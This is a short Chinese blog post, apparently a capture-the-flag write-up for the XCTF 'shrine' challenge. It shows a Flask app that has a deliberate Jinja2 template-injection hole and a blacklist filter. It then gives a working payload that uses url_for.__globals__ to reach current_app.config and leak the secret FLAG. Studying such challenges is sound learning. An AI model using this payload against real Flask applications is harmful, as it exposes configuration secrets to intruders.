zoukankan      html  css  js  c++  java
  • XCTF-shrine

    shrine

    直接看题

    进来给了个python代码

    import flask
    import os
    app = flask.Flask(__name__) 
    app.config['FLAG'] = os.environ.pop('FLAG') 
    @app.route('/') 
    
    def index(): 
        return open(__file__).read() 
    
    @app.route('/shrine/') 
    def shrine(shrine): 
        def safe_jinja(s): 
            s = s.replace('(', '').replace(')', '') 
            blacklist = ['config', 'self'] 
            return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s 		return flask.render_template_string(safe_jinja(shrine)) 
    
    if __name__ == '__main__': app.run(debug=True)
    

    这里用到了render_template_string()函数,应该是ssti漏洞,和这道题类似

    限制:过滤了(),和关键字config,self

    目标:os.environ.pop('FLAG')

    这几个过滤,我想不出有什么方法可以bypass,然后看了这篇write up

    paylod:/shrine/{{ url_for.__globals__['current_app'].config['FLAG']}}

    payload可行,但是里面还是有config关键字???

    然后我去python运行了一下代码

    恍然大悟,这里的python代码只过滤了()

    后面的configself是把对应变量设为了None,使得不能直接访问configself

    所以,使用其他不需要()的方法访问到config或者self就可以了

    中午吃完饭来总结一下SSTI

  • 相关阅读:
    js作用域
    正则表达式方法
    for-in
    关于this
    由indexOf引发的一系列探究和思考
    Html第一个程序
    转:1.ASP.Net MVC开发基础学习笔记;2.HtmlHelper与扩展方法
    转:单例模式
    转:ORM框架EF(Entity framework)实体框架
    C#lambda表达式
  • 原文地址:https://www.cnblogs.com/R3col/p/12718993.html
Copyright © 2011-2022 走看看